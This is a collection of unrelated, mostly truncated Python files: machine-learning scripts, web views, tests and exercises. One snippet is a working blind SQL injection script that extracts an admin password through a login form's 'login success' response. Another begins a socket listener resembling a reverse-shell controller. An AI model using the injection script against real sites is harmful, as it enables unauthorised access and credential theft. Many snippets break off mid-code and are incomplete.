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"""
For Sampling Speed Test
"""
from accel_rl.algos.pg.a2c import A2C
import theano.tensor as T
class A2C_NoOpt(A2C):
def initialize(self, policy, env_spec, batch_size, horizon, mid_batch_reset):
if int(policy.recurrent):
raise NotImplementedError
obs = env_spec.observation_space.... |
# -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html
import logging
import pymongo
from scrapy.exceptions import DropItem
from spider.configs.base_setting import MONGODB
class S... |
import functools
import numpy as np
import pytest
import random
import time
from app import WEBSITES
# set module mark
pytestmark = pytest.mark.tips
random.seed()
# pytest -vv -s -l -ra --tb=long --durations=10 (see pytest.ini)
# -vv: (verbose)
# -s: disable capturing output
# -l: show locals
# --tb: show all fram... |
import os
minified = open('zogl.min.js', 'w');
files = [
'debug.js',
'glMatrix-0.9.5.min.js',
'zogl.js',
'shaders.js',
'texture.js',
'window.js',
'shader.js',
'buffer.js',
'bufferset.js',
'polygon.js',
'quad.js',
'sprite.js',
'font.js',
'rendertarget.js',
'li... |
import sys
from math import sqrt
def print_factor(x):
fac = []
if not x.isdigit():
print('Please input an positive integer!')
sys.exit(1)
x_int = int(x)
sqrt_x = int(sqrt(x_int))
for i in range(1, sqrt_x + 1):
fac.append(i)
y_int = int(x_int / i)
if y_int !=... |
r, x, y = map(int, input().split())
import math
ans = 0
k = math.sqrt(x**2 + y**2)
while k > 2*r:
k -= r
ans += 1
if k == r:
ans += 1
else:
ans += 2
print(ans)
|
import pytest
# -*- coding: utf-8 -*-
import unittest
import evdev
from evdev import ecodes
from ..donkeypart_bluetooth_game_controller import BluetoothGameController
from select import select
from pytest import raises, fixture
class FakeDevice:
def read_loop(self):
return 'test'
@pytest.fixture
def in... |
import numpy as np
import requests
import pandas as pd
from tqdm import tqdm
# from requests.auth import HTTPBasicAuth
OSF_TOKEN = '...'
ME = 'https://api.osf.io/v2/users/djgaz/'
headers = {'Authorization': 'Bearer {}'.format(OSF_TOKEN)}
d = pd.DataFrame(columns=['name', 'download'])
def pandafier(block):
d_ = p... |
import json
from project.models.rasa_based_de import RasaDatasetExtraction
from project.models.pattern_based_de import PatternDatasetExtraction
from project.preprocessing.get_input import ProcessInput
import matplotlib.pyplot as plt
from statistics import median
import matplotlib.ticker as mticker
import numpy as np
fr... |
from __future__ import division
import os
import pickle
import tensorflow as tf
import numpy as np
from sklearn.metrics import accuracy_score, balanced_accuracy_score, precision_score, recall_score, roc_auc_score, confusion_matrix, f1_score
from imageio import imread, imwrite
from PIL import Image
import sys
sys.path.... |
import loadData
from numpy import *
from sklearn import *
trainData=loadData.loadTrainingData("u.data")
def pca(dataSet,k):# taking k dimensions
meanValues=mean(dataSet,axis=0)#1Xn
dataSet=mat(dataSet)
dataSet=dataSet-meanValues
m=shape(dataSet)[0]
n=shape(dataSet)[1]
covMat=(1.0/943)*(dataSet.T)*dataSet # nXn
... |
class Node():
def __init__(self, value):
self.value = value
self.next = None
def delete_node(node):
# If the node has a next set its value to the
# next node and it's next to the next's node's next
if node.next:
node.value = node.next.value
node.next = node.next.next
a ... |
from .tab_view import TabView
from .user_view import UserViewSet
from .register_view import RegisterView
from .logout_view import Logout |
import pandas as pd
from src.selectors.base import SelectorBase
__all__ = [
'select_split',
]
def as_tr_vl_te(df):
for col in df.columns:
if not isinstance(df[col].dtype, pd.CategoricalDtype):
df[col] = df[col].apply(lambda v: ['train', 'test'][v])
return df.astype('category')
def ... |
from datetime import datetime
from flask import (
abort,
current_app,
flash,
jsonify,
redirect,
render_template,
request,
url_for,
)
from flask_login import current_user
from notifications_python_client.errors import HTTPError
from notifications_utils.clients.zendesk.zendesk_client impo... |
#!/usr/bin/env python
import socket
import sys
import os
BUFFSIZE = 1024*64
lo = 2130706432L
def printf(format,*args): sys.stdout.write(format%args)
def fprintf(fp,format,*args): fp.write(format%args)
def intToIp(n):
return "%i.%i.%i.%i"%(n>>24,(n>>16)&255,(n>>8)&255,n&255)
def usage(prog):
printf("usage... |
import os
import argparse
import json
from uuid import uuid4
parser = argparse.ArgumentParser(description="strongswan profile creator for windscribe vpn", allow_abbrev=False)
parser.add_argument('-u', '--username', default=None, help="windscribe ikev2 username")
args = parser.parse_args()
servers = {
"us_central":... |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'design.ui'
#
# Created by: PyQt5 UI code generator 5.15.2
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PySide2 import Q... |
import requests
def is_success(r):
return 'login success' in r.text
print("scanning...")
msg = ""
idx = 1
while True:
head = 0x00
tail = 0x7f
while tail - head > 0:
mid = (head + tail) // 2
payload = {
'id': 'admin',
'password': f"' OR ASCII(SUBSTRING((SELECT password FROM users WH... |
annual_salary = int(input("Enter your annual salary: "))
portion_saved = float(input("Enter the percentof your salary to save, as a decimal: "))
total_cost = int(input("Enter the cost of your dream home: "))
semi_annual_raise = float(input("Enter the semi-annual raise, as decimal: "))
month_salary = annual_salary/12
... |
import numpy as np
import h5py
import os
from image_utils import load_image
from model_util import predict
def load_dataset_from_h5(train_data_set,test_data_set):
train_dataset = h5py.File(str(train_data_set), "r")
train_set_x_orig = np.array(train_dataset["train_set_x"][:]) # your train set features
train... |
'''A guessing game.
Who has the most followers on Social media. The user should guess between two people. If the user guessed correctly, continue game and add to score. If input is wrong, stop game. Show score so far.'''
from art import higher_lower_logo, higher_lower_vs
from game_data import data
import random
import... |
# Convert the RAW data from EDM .root files into DAQ .raw format
#
# usage: cmsRun $CMSSW_RELEASE_BASE/HLTrigger/Tools/python/convertToRaw.py \
# inputFiles=/store/path/file.root[,/store/path/file.root,...] \
# runNumber=NNNNNN \
# [lumiNumber=NNNN] \
# [eventsPerFile=50] \
# ... |
"""
这个文件用来统计不同区域一天中流量岁时间的变化情况
输入数是是轨迹数据："./data/1.txt"
输出数据:"./data/area_data_timeunit?_latunit?_longunit?.json"
其中timeunit表示统计时间单元的长度，latunit表示单位区域的纬度间隔，longunit表示单位区域的经度间隔
每个输出的json文件格式为
{
"longitude_start": ,
"longitude_end": ,
"latitude_start": ,
"latitude_end": ,
"longitude_unit": ,
"latit... |
# Sample Code using python-evdev tutorials to list properties of all devices.
#https://python-evdev.readthedocs.io/en/latest/tutorial.html
from evdev import InputDevice, list_devices
from pprint import pprint #the pretty print modules
for dev in list_devices(): # scan all devices
device = InputDevice(dev)
pprint(... |
from django import forms
from django.contrib.admin import widgets
from .models import file, classPost as Post
class PostForm(forms.ModelForm):
choice = (
('post','post'),
('anouncement','anouncement'),
('question', 'question')
)
title = ... |
import os
import tarfile
import numpy as np
from scipy import misc
import keras
from keras.layers import Dense
from keras.models import Model
from keras.models import Sequential
from keras.applications import VGG16
import matplotlib.pyplot as plt
class ExtractFile(object):
def __init__(self,filename):
'''
Initia... |
import numpy as np
import cv2
from labvision.video import ReadVideo
from ..customexceptions import CropMaskError, flash_error_msg
class ReadCropVideo(ReadVideo):
def __init__(self, parameters=None, filename=None, frame_range=(0,None,1), error_reporting=None):
if error_reporting is not None:
s... |
from django.contrib import admin
from .models import ActivityPeriods
# Register your models here.
admin.site.register(ActivityPeriods)
|
#!/usr/bin/python
"""
Bi-section method
"""
def sqrtBi(x, epsilon):
low = 0
high = max(x, 1)
crt = 0
guess = (low + high)/2.0
val = guess**2 - x
while abs(val)>epsilon and crt < 100:
if val < 0:
low = guess
else:
high = guess
guess = (low + high)/2.0
val = ... |
import unittest
import math
import mock
import numpy
import six
import chainer
from chainer import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
from chainer.testing import condition
from chainn.chainer_component.functions.cross_ent... |
from io_utils.parallel import apply_to_elements
import pandas as pd
from pynetcf.time_series import OrthoMultiTs
import xarray as xr
import numpy as np
import os
# todo: store grid file upon conversion
def _store(dat: xr.Dataset, cell: int, out_path: str):
sel = np.where(~dat['ts_mask'].values) if 'ts_mask' in da... |
'''
Class Methods
A class method is a method which is bound to the class and not the object of the class.
@ classmethod decorator is used to create a class method
'''
class Employee:
company = 'Kindle'
salary = 100
location = 'Delhi'
# def chnageSalary(self, sal):
# self.__class__.salary = sal
... |
dia = input('Em que dia você nasceu?: ')
mes = input('Em que mês você nasceu?: ')
ano = input('Em que ano você nasceu?: ')
print('Você nasceu em', dia,'de', mes,'de', ano)
|
from .networks import RecognitionModel
import torch
from torchvision import transforms
import cv2 as cv
import numpy as np
import os
from facenet_pytorch import MTCNN
class MaskRecognition(object):
def __init__(self, device=0):
self.device = torch.device(f"cuda:{device}") if device >= 0 else torch.device(... |
import os
import cv2
from django.shortcuts import render, reverse, redirect
from django.views.generic import CreateView
from django.core.exceptions import ValidationError
from .forms import UploadImageForm
from .models import ImageModel
from cvision import settings
from .scale_cnn import DistilledResNetSR
keras_mode... |
print('test1')
level = 169.1
delta = 0.2
price = level-delta/100
tick=0.0001000
price = int(price/tick)*tick
print(price) |
from inspect import getfullargspec, signature as sig, Parameter
from asyncio import iscoroutinefunction
class MemberInfo:
def getClass(t):return type(t) if not type(t) is type else t
def checkForSame(invoke, base):
if invoke==None:return
if MemberInfo.getClass(base)!=MemberInfo.getClass(invoke):raise TypeError("... |
Get_path = r'C:\Users\pravallika p\PycharmProjects\classprograms\trail.py'
n = int(input("enter: "))
with open(Get_path,'r') as my_file:
count = 0
for i in my_file:
count+=1
if count == n+1:
break
print(i)
|
import sys # for sys.argv, the command-line arguments
from Stack import Stack
def delimiter_check(filename):
# TODO put in stack and ####CHECK####
file = open(filename, 'r')
lines = file.read()
stack = Stack()
key = { ')': '(', ']': '[', '}': '{' }
for line in lines:
length = len(line)
for char ... |
"""
Todoist is a ToDo List app and Task manager.
Advantages :
- Apps for all platforms
- One of the best todo widgets for Android I've used
- Gamifies task completion with Karma points
- IFTTT Integrations. Sync tasks with Google Calendar (events -> tasks)
- Easy-to-use API
- Dark Mode
API Requirements :
- API Key. O... |
import pygame
from pygame.locals import *
from utils import *
class Life:
def __init__(self, rect, cell, born=(3,), save=(2,3), ver=(2,5), colors=None, lst=None, sum_func=None):
self.born, self.save, self.ver = born, save, ver
self.colors = colors if colors else (0, (0,255,0), (150,150,150))
self.spawn ... |
# Generated by Django 3.0.3 on 2020-03-08 18:19
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('signUp', '0002_auto_20200308_2118'),
]
operations = [
migrations.AlterField(
model_name='user',
name='user_type',
... |
import socket
import threading
import sys
import struct
import signal
from datetime import datetime
from queue import Queue
#-------NUMBER OF THREADS = 2--------
number_of_threads = 2
job_number = [1,2]
queue = Queue()
all_connections = []
all_addresses = []
#--------Create a socket--------------
def ... |
import discretize
import numpy as np
import matplotlib.pyplot as plt
M = discretize.TensorMesh([np.ones(n) for n in [2,3]])
M.plot_grid(faces=True)
plt.show()
|
#!/usr/bin/env python
import argparse
import glob
from Bio import SeqIO
from Bio.Seq import Seq
from Bio.Alphabet import IUPAC
import re
import os, errno
# This script goes through the output of 10_create_mafft_scaffold_MG.fixed.mvref.pl and cleans things up.
# Combines files into one file per gene
# Aligns the new s... |
# pylint:disable=redefined-outer-name,unused-argument
import asyncio
import hashlib
import os
import tempfile
import uuid
from concurrent.futures import ProcessPoolExecutor
from pathlib import Path
from typing import Iterator
import pytest
from simcore_service_webserver.exporter.archiving import (
unzip_folder,
... |
import json
from prcolors import prLightGray, prLightOrange
from const import DATA_PATH
# Main function to display info in the terminal
def display_prices():
try:
prices_file = open(DATA_PATH+'prices.json','r')
prices = json.load(prices_file)
print('-----------------------------------------... |
def convert(string, struct) :
new_string = ""
for i in range(0, len(string)) :
if i == len(string)-1 :
aux = string[i-1] + string[i] + string[0]
else :
aux = string[i-1] + string[i] + string[i+1]
new_string = new_string + struct[aux]
return new_string |
# -*- encoding:utf-8 -*-
方法一：使用enumerate函数
numbers=[10,29,30,41]
for key,value in enumerate(numbers):
print (key,value)
方法二：通过列表长度来迭代列表下标
for i in range(len(numbers)):
print('({0},{1})'.format(i,numbers[i]))
|
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.5 (default, Aug 12 2020, 00:00:00)
# [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)]
# Embedded file name: c:\Jenkins\live\output\Live\win_64_static\Release\python-bundle\MIDI Remote Scripts\Akai_Force_MPC\ping_pong.py
# Compiled at: 2020-... |
import rospy
from rospy import ROSException
import warnings
#from common.dict import getleafs_paths
#API functions for setting and getting parameters
#rospy.set_param(param_name,param_value)
#rospy.get_param(param_name, default=<rospy.client._Unspecified object>)
#For multiple parameters
#{'x':1,'y':2,'sub':{'z':3... |
class Solution(object):
def maxProduct(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
if not nums: return 0
res = Max = Min = nums[0]
for i in xrange(1, len(nums)):
temp = Max
Max = max(Max*nums[i], Min*nums[i], nums[i])
... |
import pyrosim
import random
import math
import numpy
import constants as c
from predator import Predator
from prey import Prey
class COMBINED_PAIR:
def __init__(self,i):
self.ID = i
#create genome for the weight variable
self.predatorGenome = c.evolvedGenomePredator
self.p... |
#
# Author: Christopher Minson
# www.christopherminson.com
#
#
import sys
import os
import json
import string
import textinput
import numpy as np
import tensorflow as tf
import tensorflow_hub as hub
from sklearn.metrics.pairwise import cosine_similarity
import nltk
#nltk.download('stopwords')
#nltk.download('punkt')... |
##Simple program to generate X, Y numpy arrays and create/plot a regression line
from statistics import mean
import numpy as np
import matplotlib.pyplot as plt
from matplotlib import style
style.use('ggplot')
def best_fit_slope_intercept(xs, ys):
m = (mean(xs)*mean(ys) - mean(xs*ys)) / ((mean(xs)**2) - mean(xs... |
from django.contrib import admin
from django.urls import path
from . import views
urlpatterns = [
path('admin/', admin.site.urls),
path('',views.loadCategory,name="loadCategory"),
path('addCategory',views.addCategory,name="addCategory"),
path('showCategory',views.showCategory,name="showCategory"),
... |
import tkinter
from tkinter.filedialog import askopenfilename
import speech_recognition as sr
import moviepy.editor as mp
from rake_nltk import Rake
top = tkinter.Tk()
def fileopen():
filename = askopenfilename()
file = filename
if file[-3:] == "mp4":
clip = mp.VideoFileClip(file).subclip(0,30)
... |
from django.db import models
from django.contrib.auth import get_user_model
# class Author(models.Model):
# name = models.CharField(max_length=255)
#
# def __str__(self):
# return self.name
#
# class Major(models.Model):
# name = models.CharField(max_length=255)
#
# def __str__(self):
# ... |
def test(a, b, *args):
print(a)
print(b)
print(args)
test(11, 22)
class test():
def test(a, b, *args):
print(a)
print(b)
print(args)
test(11, 22, 33, 44, 55, 66, 77, 88, 99)
def test(a, b, *args, **kwargs):
print(a)
print(b)
print(args)
print(kwargs)
test(11, 22, 33, 44, 55,... |
import numpy as np
from tensorflow.python.keras.applications.resnet50 import preprocess_input
from tensorflow.python.keras.preprocessing.image import load_img, img_to_array
image_size = 224
def read_and_prep_images(img_paths, img_height=image_size, img_width=image_size):
imgs = [load_img(img_path, target_size=(im... |
from django.urls import path
from salary.views import SalaryListCreateAPIView, SalaryRetrieveUpdateDestroyAPIView, SalaryListAPIView, GetSalaryAPIView
urlpatterns = [
path('', SalaryListCreateAPIView.as_view(),),
path('<int:pk>/', SalaryRetrieveUpdateDestroyAPIView.as_view(),),
path('show', SalaryListAPIView.as_v... |
import asyncio
import telepot
from telepot.delegate import per_chat_id
from telepot.async.delegate import create_open
from web import pingforward_web_init
from botdata import get_config_item
from conversationhandler import ConversationHandler
from apipull.apipull import check_api_loop
from autogroup.groupmaster import... |
class TreeNode:
def __init__(self, val, left=None, right=None):
self.val = val
self.left = left
self.right = right
def __repr__(self):
return 'TreeNode({})'.format(self.val)
def deserialize(string):
if string == '{}':
return None
nodes = [None if val == 'null' ... |
#!/usr/bin/env python
# (py draw.py >! plots/nminus1effs/out.draw) && tlp plots/nminus1effs
# Import nm1entry.py
# - from MCSamples and roottools import *
# - nm1entry class
# - nminus1s list
# - pretty dictionary
# - styles dictionary
from nm1entry import *
def draw_mass_test(tag, printStats, lumi, do_tight=False):... |
"""Answer to question 1. of TD2."""
from q1 import *
from q2 import *
from q3 import *
def alpha(x, a, i):
if i == 0:
return 0
else:
return 1. / i
def q_learning(tree=TreeCut(), epsilon=.1, T_max=1000, n_episodes=100):
greedy_policies = []
rewards = np.zeros(n_episodes)
q_est = ... |
""" we use this part to rank our properties with services provided and amenities """
# To rank we must call plot_rating(),house_ranking() in a shell or a custom commmand
from .models import houseDesc,Plot
def plot_rank(plot):
S_R = {'Very safe':4,'Safe':3,'Good':2 ,'Worrying':1}
W_R = {'More than 5 days PW':... |
def clean_filename(name):
result = []
for char in name:
if 'A' <= char <= 'Z' or 'a' <= char <= 'z' or '0' <= char <= '9':
result.append(char)
elif ord(char) >= 128:
result.append('#%x_' % ord(char))
else:
result.append('_')
return ''.join(result)
|
from datetime import date
from datetime import datetime
from dateutil.relativedelta import relativedelta
import csv
import os
import pandas as pd
def sharpe_ratio(trades_df):
returns = trades_df['returns']
risk_free_return = 0.058
print('mean returns = ' + str(returns.mean()))
print('std returns ' + st... |
from django.shortcuts import render
# Create your views here.
from django.views.generic import View
class AboutView(View):
template_name = 'about/index.html'
def get(self, request):
return render(request, self.template_name) |
import os
import pymongo
import redis as redis
from flask import Flask, render_template, request
from web_app.forms import SearchForm
from web_app.search import *
from web_app.soundex import make_soundex_index, update_soundex_index
from web_app.wildcard import build_search_trie, update_search_trie
SECRET_KEY = os.ur... |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.9 on 2016-11-25 13:43
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('statusSeguimiento', '0022_auto_20161123_2032'),
]
operations = [
migrations.RenameMo... |
"""
https://en.wikipedia.org/wiki/Binary_search_tree
TODO: add deletion
"""
from typing import Any, Union, Tuple
class TreeNode:
def __init__(self, key: Any, value: Any, level: int = 0):
self.key = key
self.value = value
self.level = level
self.left: Union[TreeNode, None] = None
... |
#Needs PIL, matplotlib, pgu, VideoCapture, pygame, and numpy
import PIL
import ImageStat
import matplotlib.pyplot as plt
from time import time
from threading import Thread
from time import sleep
from pgu import gui
import NoFontVideoCapture
from Image import new
from ImageOps import grayscale
import pygame
fps = 15.0... |
import base64
import urllib
import hashlib
import datetime
import json
import os
import requests
from functools import wraps
from urllib.parse import urlparse
from pathlib import Path
from flask import abort, Flask, jsonify, Response, send_from_directory, request
from ip_television import IPTelevision
import m3u
M3... |
from place import placebase,wildpetlist,treasure,meetnpc,block
from players import explore,npcmap
from assist import show,riddle,prize,changepet,system
from props import bag
import random,time,os
class WildForm(placebase.Place):
def showMap(self,player):
can_go_list = []
if player.map_run_list[-1]... |
# -*- coding:utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))
sys.path.append(os.path.dirname(os.path.dirna... |
#!/usr/bin/python
'''
Ravello external inventory script
==================================================
Generates inventory that Ansible can understand by making an API request to Ravello.
Modeled after https://raw.githubusercontent.com/jameslabocki/ansible_api/master/python/ansible_tower_cloudforms_inventory.py
jl... |
#: english
{
'__maintainer__' : '@JellyWX',
'blacklisted' : ''':x: This channel is blacklisted :x:''',
'admin_required' : 'You need to be an admin to run this command.',
'help' : '''Please visit https://jellywx.co.uk/help?lang=EN''',
'help_raw' : [
['''Reminder Commands''', {
... |
ora = 60
het = 7
nap = 26
minutes_in_a_week = het * nap * ora
print("Hány perc lenne egy héten, ha 26 óra lenne egy nap:", minutes_in_a_week)
|
import numpy as np
from sklearn.linear_model import LinearRegression
from utils import create_data_for_linear_model
if __name__ == '__main__':
num_samples = 1000
num_features = 2
X, y = create_data_for_linear_model(num_samples, num_features)
# solve the Normal Equation long-handed way with linear al... |
# -*- coding: utf-8 -*-
##############################################################################
#
# Copyright (C) 2013-2015 Marcos Organizador de Negocios SRL http://marcos.do
# Write by Eneldo Serrata (eneldo@marcos.do)
#
# This program is free software: you can redistribute it and/or modify
# it under... |
number = '%i'%(4)
print number
print ""
decimal = '%d'%(5.84)
print decimal
print ""
print bin(13)
|
#-*- coding: utf-8 -*-
# 함수를 정의할때에 f(a,b)로 정의한다
# 텐서플로우는 연산작업을 변수로 받기 때문에 함수를 정의할때 임의의 변수가 필요하다
import tensorflow as tf
a = tf.placeholder(tf.int64)
b = tf.placeholder(tf.int64)
#값을 갖고있진 않지만 변수로 지정함
add = tf.add(a,b)
mul = tf.mul(a,b)
with tf.Session() as session:
print "add %i" % session.run(add,feed_dict={... |
import sys
import os
import qrcode
from MyQR import myqr
def GenerateQRCode(
data = "Default",
output_directory = "I:\\DigitalCircuit",
output_pic_name = "test.png",
version = None,
fill_color = "Black",
back_color = "White",
error_correction = qrcode.ERROR_CORR... |
from .services.AirtableService import AirtableService
service = AirtableService()
print(service.GetRecords())
|
from django import forms
from .models import Order, GiftCart
class CheckoutForm(forms.ModelForm):
class Meta:
model = Order
fields = ["payment_method"]
class Gift_CartForm(forms.ModelForm):
class Meta:
model = GiftCart
fields = '__all__'
|
import random
from pylatex import Document, Section
from pylatex import Command, NoEscape, Math, Tabular, Package
from rpylatex import (begin, end, part, space, lines, br, needspace, bloctitle, question, choice,
taulaconfig, obretaula, obrellarga, filataula, tancataula, envt,
... |
# Generated by Django 2.2 on 2020-03-12 15:45
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Airport',
fields=[
('airport_code', models.In... |
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.ensemble import AdaBoostClassifier
import joblib
data = load_iris()
x = data.data
y = data.target
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)
model = AdaBoostClassifier()
model.fit... |
import numpy.matlib
import pickle
import json
import matplotlib.pyplot as plt
from sklearn import linear_model
import matplotlib.pyplot as plt # 导入绘图包matplotlib（需要安装，方法见第一篇笔记）
import time
import csv
import codecs
import pandas as pd
import numpy as np
# print(pd.read_csv('file.tsv', delimiter='t'))
import datetime
fro... |
# -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import os
from flask import Flask , render_template,flash,redirect,url_for,session,request
from passlib.hash import sha256_crypt
from functools import wraps
from classifier import classifier
import json
import numpy as np
import pandas as p... |
import os
from . import BaseCommand
from ..i18n import _
class Command(BaseCommand):
name = os.path.splitext(os.path.basename(__file__))[0]
description = _('invalidates all stream aliases')
def fill_arguments(self):
pass
def format_quiet_msg(self, data):
return self.format_verbose_... |
def main():
N = int(input())
ans = [0] * 100000
for i in range(1, 100):
for j in range(1, 100):
for k in range(1, 100):
tmp = i ** 2 + j ** 2 + k ** 2 + i*j + j*k + k*i
ans[tmp] += 1
for i in range(N):
print(ans[i+1])
if __name__ == '__main_... |
import tornado.web
from models.entity import Entity
import dba.mongodb
import dba.mssql
from bson.json_util import dumps
class LogHandler(tornado.web.RequestHandler):
def get(self):
guid = self.get_argument('guid')
sqlCommand=("SELECT DATEDIFF(MINUTE,[StartOn],[EndOn]) AS ExecMinute,[Computer],[Use... |
#!/usr/bin/env python
import rospy
from cv_bridge import CvBridge, CvBridgeError
from sensor_msgs.msg import Image
import numpy as np
import cv2
import tensorflow as tf
import sys
def convert_depth_image(ros_image):
cv_bridge = CvBridge()
try:
depth_image = cv_bridge.imgmsg_to_cv2(ros_image, desired_... |
from __future__ import print_function
import os
import json
from simphony_metatools.owl.owl_json_ld_generator import OWLJSONLDGenerator
from simphony_metatools.tests import fixtures
from simphony_metatools.tests.base_test_case import BaseTestCase
class TestOWLJSONLDGenerator(BaseTestCase):
def setUp(self):
... |
# coding=utf-8
# Copyright 2016 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import importlib
imp... |
import sys
'''
"배열의 다음 숫자가 누적합+1 이하라면 누적합+1 까지 숫자들은 기존 숫자들의 조합으로 모두 표현 가능하다" 법칙을 사용한다.
1. 배열을 오름차순으로 정렬한다.
2. 반복문을 실행하면서, 배열의 값이 누적합 초과일 경우 반복문을 나온다.
3. 누적합을 출력한다.
'''
N = int(sys.stdin.readline())
arr = list(map(int,sys.stdin.readline().split(" ")))
# 배열 오름차순 정렬
arr.sort()
num = 1
# 배열의 값이 누적합 초과일 경우 반복문을 나옴
for i... |
from typing import List
from collections import defaultdict
class Solution:
def numMatchingSubseq(self, S: str, words: List[str]) -> int:
itrs_m = defaultdict(list)
for w in words:
itrs_m[w[0]].append(
iter(w[1:])
)
for a in S:
... |
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